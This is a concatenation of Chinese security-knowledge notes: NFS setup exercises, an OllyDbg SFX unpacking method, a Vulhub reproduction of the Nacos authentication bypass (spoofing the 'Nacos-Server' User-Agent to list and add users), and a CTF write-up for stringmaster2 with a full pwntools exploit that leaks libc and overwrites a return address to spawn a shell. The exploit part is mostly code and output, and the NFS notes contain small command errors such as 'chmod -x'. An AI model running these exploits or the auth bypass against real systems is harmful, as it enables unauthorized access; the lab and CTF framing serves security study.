vi /etc/selinux/config
SELINUX=disabled
firewall-cmd --zone=public --add-service=rpc-bind --permanent
firewall-cmd --zone=public --add-service=mountd --permanent
firewall-cmd --zone=public --add-port=2049/tcp --permanent
firewall-cmd --zone=public --add-port=2049/udp --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
```
**客户端**
- 访问使用 nfsuser1 进行访问(用户需要自己创建);
- 在 Centos 上挂载来自 Centos 的 nfs 共享,将共享目录挂载到 `/mnt/nfsfiles` ,启动时自动挂载.
```bash
yum -y install nfs-utils
mkdir /mnt/nfsfiles
useradd nfsuser1
passwd nfsuser1
```
验证共享是否成功 `showmount -e 192.168.xxx.xxx`
挂载共享目录
```vim
vim /etc/fstab
192.168.xxx.xxx:/public /mnt/nfsfiles/ nfs defaults 0 0
```
`su -l nfsuser1`
**验证**
服务器
```bash
[root@localhost ~]# cd /public/
[root@localhost public]# echo "hello" > hello.txt
```
客户端
```bash
[nfsuser1@localhost ~]$ cd /mnt/nfsfiles/
[nfsuser1@localhost nfsfiles]$ cat hello.txt
```
---
## 案例 2
- 将主机 1 配置为 nfs 服务器,把 `/var/www/html` 作为共享目录,
```bash
yum -y install nfs-utils
```
```vim
vim /etc/exports
/var/www/html 192.168.xxx.xxx(rw)
```
```bash
firewall-cmd --zone=public --add-service=rpc-bind --permanent
firewall-cmd --zone=public --add-service=mountd --permanent
firewall-cmd --zone=public --add-port=2049/tcp --permanent
firewall-cmd --zone=public --add-port=2049/udp --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
```
- 将主机 2 配置为 nfs 客户端,并在其上查看共享目录,并挂载到本地目录 `/test`
```bash
mount.nfs 192.168.xxx.xxx:/var/www/html /test
```
- 同时将 /`test` 文件夹内容拷贝到主机 2 下的 `/home/www`,并创建一个归档备份
```bash
cp /test /home/www
```
- 将主机 2 的 `/home/www` 目录打包备份至 `/home `目录下文件名为 www.tar.bz2,备份周期为每天凌晨 2 点开始.
```bash
cd /
yum install -y bzip2
```
```vim
vim back.sh # 编写备份脚本文件
tar jcvf /home/www.tar.bz2 /home/www
```
```bash
chmod -x back.sh # 编辑脚本文件为可执行文件
crontab -e # 编写定时任务crontab脚本
0 2 * * * /back.sh
# 每天的02点00分自动执行脚本文件
# 跟踪执行结果
tail -f /var/log/cron # 跟踪查询定时任务是否执行
cat /var/spool/cron/root # 查询root下有那些定时任务
```
---
## 案例 3
1. 启动 nfs 服务和设置开机启动;
```bash
firewall-cmd --zone=public --add-service=rpc-bind --permanent
firewall-cmd --zone=public --add-service=mountd --permanent
firewall-cmd --zone=public --add-port=2049/tcp --permanent
firewall-cmd --zone=public --add-port=2049/udp --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
```
2. 将以上挂载的云硬盘格式化为 ext4 格式并挂载到 `/mnt` 目录上;
```bash
fdisk -l 查看磁盘情况
fdisk /dev/sdb 创建系统分区
n
p
1
后面都是默认,直接回车
w 写入分区表
mkfs.ext4 /dev/sdb1
mkdir /mnt/sdb1
mount /dev/sdd1 /mnt/sdb1
```
3. 在主机2上发布共享 `/public` 目录(需自行创建)和 `/mnt` 目录,`/mnt` 目录允许所有用户访问,但不能写入,`/public` 目录允许 192.168.11.0/24 网段的用户读写.
```bash
yum -y install nfs-utils
```
```vim
vim /etc/exports
/mnt *(ro)
/public 192.168.11.*(rw)
```
```bash
mkdir /public
firewall-cmd --zone=public --add-service=rpc-bind --permanent
firewall-cmd --zone=public --add-service=mountd --permanent
firewall-cmd --zone=public --add-port=2049/tcp --permanent
firewall-cmd --zone=public --add-port=2049/udp --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
```
---
## 案例 4
**服务端**
- 配置 NFS 服务,以读写访问方式将 `/data/web_data` 目录仅共享给 192.168.XX+1.0/24 网段的所有用户,且不挤压 root 用户的权限.
```bash
yum -y install nfs-utils
```
```vim
vim /etc/exports
/data/web_data 192.168.XX+1.*(rw,no_root_squash)
```
```bash
mkdir -p /data/web_data
firewall-cmd --zone=public --add-service=rpc-bind --permanent
firewall-cmd --zone=public --add-service=mountd --permanent
firewall-cmd --zone=public --add-port=2049/tcp --permanent
firewall-cmd --zone=public --add-port=2049/udp --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
```
**客户端**
- 配置 NFS 服务,将主机 A 共享的目录挂载至 `/data/web_data` 目录下.
```bash
yum -y install nfs-utils
firewall-cmd --zone=public --add-service=nfs --permanent
firewall-cmd --reload
service rpcbind start
service nfs start
systemctl enable rpcbind.service
systemctl enable nfs-server.service
```
验证共享是否成功 `showmount -e 192.168.xxx.xxx`
```
mkdir -p /data/web_data
mount.nfs 192.168.xxx.xxx:/data/web_data /data/web_data
```
|
sec-knowleage
|
### SFX 法概述
"SFX"法利用了Ollydbg自带的OEP寻找功能, 可以选择直接让程序停在OD找到的OEP处, 此时壳的解压过程已经完毕, 可以直接dump程序.
### SFX 法要点
1. 设置OD, 忽略所有异常, 也就是说异常选项卡里面都打上勾
2. 切换到SFX选项卡, 选择"字节模式跟踪实际入口(速度非常慢)", 确定
3. 重载程序(如果跳出是否"压缩代码?"选择"否", OD直接到达OEP)
### SFX 法示例
示例程序可以点击此处下载: [6_sfx.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/6_sfx.zip)
首先我们在菜单`选项->调试设置->异常标签页`中勾选所有忽略异常.
然后切换到`SFX`标签页, 点选"字节方式跟踪真正入口处(速度非常慢)"
重载程序,程序已经停在了代码入口点, 并且也不需要对OEP进行重新分析.
|
sec-knowleage
|
# Nacos 认证绕过漏洞(CVE-2021-29441)
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
参考链接:
- https://github.com/advisories/GHSA-36hp-jr8h-556f
## 漏洞环境
运行漏洞环境:
```shell
docker compose up -d
```
环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。**执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务**
```shell
docker compose restart nacos
```
## 漏洞利用脚本
```shell
python poc.py http://target:8848
```

## 漏洞复现
漏洞利用过程如下:
1. 修改User-Agent的值为Nacos-Server到请求包中
2. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`
3. 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户
4. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表
5. 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录
### 检测漏洞是否存在

添加Header头后访问`http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9`可以看到返回值为200,且内容中是否包含`pageItems`
### 添加新用户

添加Header头后使用**POST**方式请求`http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub`添加一个新用户,账号密码都为vulhub
### 使用新建的账号进行登录

|
sec-knowleage
|
# stringmaster2
PWN
## Description:
> Eat, sleep, swap, replace This time with more mitigations!
```c++
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <unistd.h>
#include <limits>
using namespace std;
const string chars = "abcdefghijklmnopqrstuvwxy";
void print_menu() {
cout << endl;
cout << "Enter the command you want to execute:" << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << "[4] quit " << endl;
cout << "> ";
}
void play() {
string from(10, '\00');
string to(10, '\00');
for (int i = 0; i < 10; ++i) {
from[i] = chars[rand() % (chars.length() - 1)];
to[i] = chars[rand() % (chars.length() - 1)];
}
cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << " Swaps the char at index1 with the char at index2 " << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << " Replaces the first occurence of char1 with char2 " << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << " Prints the current version of the string " << endl;
cout << "[4] quit " << endl;
cout << " Give up and leave the game " << endl;
cout << endl;
cout << "String1: " << from << endl;
cout << "String2: " << to << endl;
cout << endl;
unsigned int costs = 0;
string s(from);
while (true) {
print_menu();
string command;
cin >> command;
if (command == "swap") {
unsigned int i1, i2;
cin >> i1 >> i2;
if (cin.good() && i1 < s.length() && i2 < s.length()) {
swap(s[i1], s[i2]);
}
costs += 1;
} else if (command == "replace") {
char c1, c2;
cin >> c1 >> c2;
auto index = s.find(c1);
cout << c1 << c2 << index << endl;
if (index >= 0) {
s[index] = c2;
}
costs += 1;
} else if (command == "print") {
cout << s << endl;
costs += 1;
} else if (command == "quit") {
cout << "You lost." << endl;
break;
} else {
cout << "Invalid command" << endl;
}
if (!cin) {
cin.clear();
cin.ignore(numeric_limits<streamsize>::max(), '\n');
}
if (!cout) {
cout.clear();
}
if (s == to) {
cout << s.length() << endl;
cout << endl;
cout << "****************************************" << endl;
cout << "* Congratulations " << endl;
cout << "* You solved the problem with cost: " << costs << endl;
cout << "****************************************" << endl;
cout << endl;
break;
}
}
}
int main() {
srand(time(nullptr));
play();
}
```
An executable file was attached as well, together with a LibC binary.
## Solution:
This challenge is similar to the previous one - [stringmaster1](stringmaster1.md), except for the fact that we don't have the handy `spawn_shell` function anymore (and some extra security measures):
```console
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# diff stringmaster2.cpp ../stringmaster1/stringmaster1.cpp
13a14,19
> void spawn_shell() {
> char* args[] = {(char*)"/bin/bash", NULL};
> execve("/bin/bash", args, NULL);
> }
>
>
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# checksec.sh -f stringmaster2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 101 Symbols Yes 0 2 stringmaster2
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# checksec.sh -f ../stringmaster1/stringmaster1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 100 Symbols No 0 2 ../stringmaster1/stringmaster1
```
Let's start by dumping the stack like last time. This is done by adding `p.wait()` to the original exploit after dumping the unmodified stack.
```
[*] '/media/sf_CTFs/35c3ctf/stringmaster2/stringmaster2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './stringmaster2': pid 1374
[*] String 1: eluamegqwh
[*] String 2: orefrjsvxx
[*] Replacing 'b' and 'b'
Before modification:
00000000 65 6c 75 61 6d 65 67 71 77 68 00 00 00 00 00 00 │elua│megq│wh··│····│
00000010 10 82 52 ae ff 7f 00 00 05 00 00 00 00 00 00 00 │··R·│····│····│····│
00000020 70 72 69 6e 74 00 65 00 71 46 d7 72 61 55 00 00 │prin│t·e·│qF·r│aU··│
00000030 90 ff ff ff ff ff ff ff 00 e7 34 58 46 e4 34 8e │····│····│··4X│F·4·│
00000040 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 90 46 d7 72 61 55 00 00 30 32 d7 72 61 55 00 00 │·F·r│aU··│02·r│aU··│
00000060 50 83 52 ae ff 7f 00 00 00 00 00 00 00 00 00 00 │P·R·│····│····│····│
00000070 00 00 00 00 00 00 00 00 fb 45 d7 72 61 55 00 00 │····│····│·E·r│aU··│
00000080 00 00 00 00 00 00 00 00 17 8b 98 5c 7b 7f 00 00 │····│····│···\│{···│
00000090 68 83 52 ae ff 7f 00 00 58 83 52 ae ff 7f 00 00 │h·R·│····│X·R·│····│
000000a0 b0 89 bf 5c 01 00 00 00 e1 45 d7 72 61 55 00 00 │···\│····│·E·r│aU··│
000000b0 00 00 00 00 00 00 00 00 39 89 22 f5 1d a9 29 c6 │····│····│9·"·│··)·│
000000c0 30 32 d7 72 61 55 00 00 50 83 52 ae ff 7f 00 00 │02·r│aU··│P·R·│····│
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 39 89 02 7d 16 10 14 93 39 89 9c 6d 82 f5 1d 92 │9··}│····│9··m│····│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000100 00 00 00 00 00 00 00 00 68 83 52 ae ff 7f 00 00 │····│····│h·R·│····│
00000110 70 01 d0 5c 7b 7f 00 00 d6 61 ce 5c 7b 7f 00 00 │p··\│{···│·a·\│{···│
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000130 00 00 00 00 00 00 00 00 30 32 d7 72 61 55 00 00 │····│····│02·r│aU··│
00000140 50 83 52 ae ff 7f 00 00 5a 32 d7 72 61 55 00 00 │P·R·│····│Z2·r│aU··│
00000150 48 83 52 ae ff 7f 00 00 1c 00 00 00 00 00 00 00 │H·R·│····│····│····│
00000160 01 00 00 00 00 00 00 00 05 98 52 ae ff 7f 00 00 │····│····│··R·│····│
00000170 00 00 00 00 00 00 00 00 15 98 52 ae ff 7f 00 00 │····│····│··R·│····│
00000180 20 98 52 ae ff 7f 00 00 34 98 52 ae ff 7f 00 00 │ ·R·│····│4·R·│····│
00000190 44 98 52 ae ff 7f 00 00 60 98 52 ae ff 7f 00 00 │D·R·│····│`·R·│····│
000001a0 72 98 52 ae ff 7f 00 00 7a 98 52 ae ff 7f 00 00 │r·R·│····│z·R·│····│
000001b0 8d 98 52 ae ff 7f 00 00 a3 98 52 ae ff 7f 00 00 │··R·│····│··R·│····│
000001c0 8f 9e 52 ae ff 7f 00 00 b8 9e 52 ae ff 7f 00 00 │··R·│····│··R·│····│
000001d0 c9 9e 52 ae ff 7f 00 00 ea 9e 52 ae ff 7f 00 00 │··R·│····│··R·│····│
000001e0 f7 9e 52 ae ff 7f 00 00 01 9f 52 ae ff 7f 00 00 │··R·│····│··R·│····│
000001f0 15 9f 52 ae ff 7f 00 00 64 9f 52 ae ff 7f 00 00 │··R·│····│d·R·│····│
00000200 98 9f 52 ae ff 7f 00 00 a3 9f 52 ae ff 7f 00 00 │··R·│····│··R·│····│
00000210 d6 9f 52 ae ff 7f 00 00 00 00 00 00 00 00 00 00 │··R·│····│····│····│
00000220 21 00 00 00 00 00 00 00 00 a0 53 ae ff 7f 00 00 │!···│····│··S·│····│
00000230 10 00 00 00 00 00 00 00 ff fb 8b 07 00 00 00 00 │····│····│····│····│
00000240 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
00000250 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 │····│····│d···│····│
00000260 03 00 00 00 00 00 00 00 40 20 d7 72 61 55 00 00 │····│····│@ ·r│aU··│
00000270 04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 │····│····│8···│····│
00000280 05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│
00000290 07 00 00 00 00 00 00 00 00 70 cd 5c 7b 7f 00 00 │····│····│·p·\│{···│
000002a0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002b0 09 00 00 00 00 00 00 00 30 32 d7 72 61 55 00 00 │····│····│02·r│aU··│
000002c0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002d0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002e0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002f0 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000300 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000310 19 00 00 00 00 00 00 00 59 85 52 ae ff 7f 00 00 │····│····│Y·R·│····│
00000320 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000330 1f 00 00 00 00 00 00 00 e8 9f 52 ae ff 7f 00 00 │····│····│··R·│····│
00000340 0f 00 00 00 00 00 00 00 69 85 52 ae ff 7f 00 00 │····│····│i·R·│····│
00000350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000360 00 00 00 00 00 00 00 00 00 7a e7 34 58 46 e4 34 │····│····│·z·4│XF·4│
00000370 8e 01 bc 59 a6 75 b6 9c 44 78 38 36 5f 36 34 00 │···Y│·u··│Dx86│_64·│
00000380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000400
```
We attach to the process using `gdb --pid 1374`. Now we can inspect the backtrace:
```
gdb-peda$ bt
#0 0x00007f7b5ca4f1d1 in __GI___libc_read (fd=0x0, buf=0x556173ecb2b0, nbytes=0x1000) at ../sysdeps/unix/sysv/linux/read.c:27
#1 0x00007f7b5c9e1838 in _IO_new_file_underflow (fp=0x7f7b5cb1da00 <_IO_2_1_stdin_>) at fileops.c:531
#2 0x00007f7b5c9e2972 in __GI__IO_default_uflow (fp=0x7f7b5cb1da00 <_IO_2_1_stdin_>) at genops.c:380
#3 0x00007f7b5cc2645d in __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::underflow() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4 0x00007f7b5cc33d2a in std::istream::sentry::sentry(std::istream&, bool) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5 0x00007f7b5cbe7e03 in std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char>, std::allocator<char> >(std::basic_istream<char, std::char_traits<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6 0x0000556172d73e35 in play() ()
#7 0x0000556172d745fb in main ()
#8 0x00007f7b5c988b17 in __libc_start_main (main=0x556172d745e1 <main>, argc=0x1, argv=0x7fffae528358, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffae528348) at ../csu/libc-start.c:310
#9 0x0000556172d7325a in _start ()
```
Let's try to find the location of the following return address in the stack dump:
```
#7 0x0000556172d745fb in main ()
```
We can see it's at offset 0x78:
```
00000070 00 00 00 00 00 00 00 00 fb 45 d7 72 61 55 00 00 │····│····│·E·r│aU··│
```
Now we need to leak some runtime LibC address in order to calculate the runtime base address of LibC.
We inspect the stack using `telescope`:
```
gdb-peda$ telescope $rsp 100
0000| 0x7fffae528078 --> 0x7f7b5c9e1838 (<_IO_new_file_underflow+296>: test rax,rax)
0008| 0x7fffae528080 --> 0x7f7b5cb1da00 --> 0xfbad2088
0016| 0x7fffae528088 --> 0x7f7b5cb1a2a0 --> 0x0
0024| 0x7fffae528090 --> 0x7fffae528137 --> 0x7f7b5ccbf08000
0032| 0x7fffae528098 --> 0x7f7b5ccbf080 --> 0x7f7b5ccb47b0 (:ctype<char>+16>: 0x00007f7b5cbf4250)
0040| 0x7fffae5280a0 --> 0x7fffae528194 --> 0x6200000062 ('b')
0048| 0x7fffae5280a8 --> 0x7f7b5c9e2972 (<__GI__IO_default_uflow+50>: cmp eax,0xffffffff)
0056| 0x7fffae5280b0 --> 0x7f7b5cb1a2a0 --> 0x0
0064| 0x7fffae5280b8 --> 0x7f7b5ccbd6a0 --> 0x7f7b5ccb7058 (:stdio_sync_filebuf<char, std::char_traits<char> >+16>: 0x00007f7b5cc26390)
0072| 0x7fffae5280c0 --> 0x7f7b5ccbd6a0 --> 0x7f7b5ccb7058 (:stdio_sync_filebuf<char, std::char_traits<char> >+16>: 0x00007f7b5cc26390)
0080| 0x7fffae5280c8 --> 0x7f7b5cc2645d (<__gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::underflow()+13>: mov rsi,QWORD PTR [rbx+0x40])
0088| 0x7fffae5280d0 --> 0x556172f75140 (:cin@@GLIBCXX_3.4>: 0x00007f7b5ccb7ec0)
0096| 0x7fffae5280d8 --> 0x7f7b5cc33d2a (<std::istream::sentry::sentry(std::istream&, bool)+394>: cmp eax,0xffffffff)
0104| 0x7fffae5280e0 --> 0x7fffae528120 --> 0x556172f75001 --> 0x800000000000000
0112| 0x7fffae5280e8 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
0120| 0x7fffae5280f0 --> 0x2
0128| 0x7fffae5280f8 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
0136| 0x7fffae528100 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>: 0x00007f7b5ccb8960)
0144| 0x7fffae528108 --> 0x7f7b5cbe7e03 (<std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char>, std::allocator<char> >(std::basic_istream<char, std::char_traits<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+35>: cmp BYTE PTR [rsp+0x27],0x0)
0152| 0x7fffae528110 --> 0x7f7b5cb1e760 --> 0xfbad2aa4
0160| 0x7fffae528118 --> 0x7f7b5c9e1af3 (<_IO_new_file_overflow+259>: cmp eax,0xffffffff)
0168| 0x7fffae528120 --> 0x556172f75001 --> 0x800000000000000
0176| 0x7fffae528128 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>: 0x00007f7b5ccb8960)
0184| 0x7fffae528130 --> 0x7f7b5cb1a2a0 --> 0x0
0192| 0x7fffae528138 --> 0x7f7b5ccbf080 --> 0x7f7b5ccb47b0 (:ctype<char>+16>: 0x00007f7b5cbf4250)
--More--(25/100)
0200| 0x7fffae528140 --> 0x2
0208| 0x7fffae528148 --> 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
0216| 0x7fffae528150 --> 0x2
0224| 0x7fffae528158 --> 0x620000000000000a ('\n')
0232| 0x7fffae528160 --> 0x556172f75020 (:cout@@GLIBCXX_3.4>: 0x00007f7b5ccb8960)
0240| 0x7fffae528168 --> 0x7fffae528194 --> 0x6200000062 ('b')
0248| 0x7fffae528170 --> 0x7fffae528198 --> 0x62 ('b')
0256| 0x7fffae528178 --> 0x556172d73e35 (<play()+2040>: lea rsi,[rip+0xbeb] # 0x556172d74a27)
0264| 0x7fffae528180 --> 0xffffffffffffffff
0272| 0x7fffae528188 --> 0x7fffae5281e0 --> 0x7fffae5281f0 ("eluamegqwh")
0280| 0x7fffae528190 --> 0x6262620000 ('')
0288| 0x7fffae528198 --> 0x62 ('b')
0296| 0x7fffae5281a0 --> 0x7fffae5281b0 ("eluamegqwh")
0304| 0x7fffae5281a8 --> 0xa ('\n')
0312| 0x7fffae5281b0 ("eluamegqwh")
0320| 0x7fffae5281b8 --> 0x6877 ('wh')
0328| 0x7fffae5281c0 --> 0x7fffae5281d0 ("orefrjsvxx")
0336| 0x7fffae5281c8 --> 0xa ('\n')
0344| 0x7fffae5281d0 ("orefrjsvxx")
0352| 0x7fffae5281d8 --> 0x7f7b5c007878
0360| 0x7fffae5281e0 --> 0x7fffae5281f0 ("eluamegqwh")
0368| 0x7fffae5281e8 --> 0x620000000000000a ('\n')
0376| 0x7fffae5281f0 ("eluamegqwh")
0384| 0x7fffae5281f8 --> 0x6877 ('wh')
0392| 0x7fffae528200 --> 0x7fffae528210 --> 0x6500746e697200 ('')
--More--(50/100)
0400| 0x7fffae528208 --> 0x0
0408| 0x7fffae528210 --> 0x6500746e697200 ('')
0416| 0x7fffae528218 --> 0x556172d74671 (<_GLOBAL__sub_I__Z10print_menuv+108>: mov rax,QWORD PTR [rsp+0x8])
0424| 0x7fffae528220 --> 0xffffffffffffff90
0432| 0x7fffae528228 --> 0x8e34e4465834e700
0440| 0x7fffae528230 --> 0x2
0448| 0x7fffae528238 --> 0x0
0456| 0x7fffae528240 --> 0x556172d74690 (<__libc_csu_init>: push r15)
0464| 0x7fffae528248 --> 0x556172d73230 (<_start>: xor ebp,ebp)
0472| 0x7fffae528250 --> 0x7fffae528350 --> 0x1
0480| 0x7fffae528258 --> 0x0
0488| 0x7fffae528260 --> 0x0
0496| 0x7fffae528268 --> 0x556172d745fb (<main+26>: mov eax,0x0)
0504| 0x7fffae528270 --> 0x0
0512| 0x7fffae528278 --> 0x7f7b5c988b17 (<__libc_start_main+231>: mov edi,eax)
0520| 0x7fffae528280 --> 0x7fffae528368 --> 0x7fffae529815 ("LANG=en_IL")
0528| 0x7fffae528288 --> 0x7fffae528358 --> 0x7fffae529805 ("./stringmaster2")
0536| 0x7fffae528290 --> 0x15cbf89b0
0544| 0x7fffae528298 --> 0x556172d745e1 (<main>: sub rsp,0x8)
0552| 0x7fffae5282a0 --> 0x0
0560| 0x7fffae5282a8 --> 0xc629a91df5228939
0568| 0x7fffae5282b0 --> 0x556172d73230 (<_start>: xor ebp,ebp)
```
It looks like our stack leak starts at:
```
0376| 0x7fffae5281f0 ("eluamegqwh")
```
A few lines later, we see the return address from offset 0x78:
```
0496| 0x7fffae528268 --> 0x556172d745fb (<main+26>: mov eax,0x0)
```
Almost immediately after that, we have a LibC runtime address (or more accurately, 231 bytes from the start address of the function):
```
0512| 0x7fffae528278 --> 0x7f7b5c988b17 (<__libc_start_main+231>: mov edi,eax)
```
In our local environment, LibC is located at `/lib/x86_64-linux-gnu/libc.so.6`:
```console
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# ldd ./stringmaster2
linux-vdso.so.1 (0x00007ffccc303000)
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff234407000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff2343ed000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff234230000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff23409c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff2347a5000)
```
We can check the compile-time address with pwntools:
```python
>>> from pwn import *
>>> libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
>>> print hex(libc.symbols['__libc_start_main'])
0x22a30
```
So we can get the LibC runtime base address by performing:
```
0x7f7b5c988b17 - 231 - 0x22a30 = 0x7f7b5c966000
```
The address is 4K aligned so this looks correct.
Now we can use `one_gadget` to search for an address which will spawn us a shell:
```console
root@kali:/media/sf_CTFs/35c3ctf/stringmaster2# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4345e execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x434b2 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xe42ee execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
```
Our plan is to override the return address at offset 0x78 with libc_base + 0x4345e, and get a shell (of course, on the server, these addresses will be different).
The script:
```python
from pwn import *
import argparse
import os
import string
#context.log_level = "debug"
LOCAL_PATH = "./stringmaster2"
def get_process(is_remote = False):
if is_remote:
return remote("35.207.132.47", 22225)
else:
return process(LOCAL_PATH)
def get_libc_path(is_remote = False):
if is_remote:
return "./libc-2.27.so"
else:
return "/lib/x86_64-linux-gnu/libc.so.6"
def get_one_gadget(is_remote = False):
if is_remote:
return 0x4f2c5
else:
return 0x4345e
def read_menu(proc):
proc.recvuntil("\n> ")
def swap(proc, index1, index2):
read_menu(proc)
proc.sendline("swap")
proc.sendline("{} {}".format(index1, index2))
log.info("Swapping index {} and {}".format(index1, index2))
def replace(proc, char1, char2):
read_menu(proc)
proc.sendline("replace")
proc.sendline("{} {}".format(char1, char2))
log.info("Replacing '{}' and '{}'".format(char1, char2))
def print_info(proc):
read_menu(proc)
proc.sendline("print")
return proc.recvuntil("\nEnter the command you want to execute:", drop = True)
def quit(proc):
read_menu(proc)
proc.sendline("quit")
log.info("Quitting...")
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
e = ELF(LOCAL_PATH)
libc = ELF(get_libc_path(args.remote))
p = get_process(args.remote)
p.recvuntil("String1: ")
str1 = p.recvline()
p.recvuntil("String2: ")
str2 = p.recvline()
log.info("String 1: {}".format(str1))
log.info("String 2: {}".format(str2))
for x in string.ascii_lowercase:
if x not in str1:
missing_letter = x
break
replace(p, x, x)
print "Before modification:"
stack = print_info(p)
print hexdump(stack)
base_index = 0x78
libc_start_main_base_index = 0x88
libc_start_main = u64(stack[libc_start_main_base_index:libc_start_main_base_index+8]) - 231
libc_base = libc_start_main - libc.symbols["__libc_start_main"]
assert(libc_base & 0xFFF == 0)
log.info("libc_base: {}".format(hex(libc_base)))
libc.address = libc_base
one_gadget = libc_base + get_one_gadget(args.remote)
log.info("one_gadget address: {}".format(hex(one_gadget)))
for i, char in enumerate(p64(one_gadget)):
replace(p, str1[0], char)
swap(p, 0, base_index + i)
str1 = print_info(p)[:len(str1)]
print "After modification:"
print hexdump(print_info(p))
quit(p)
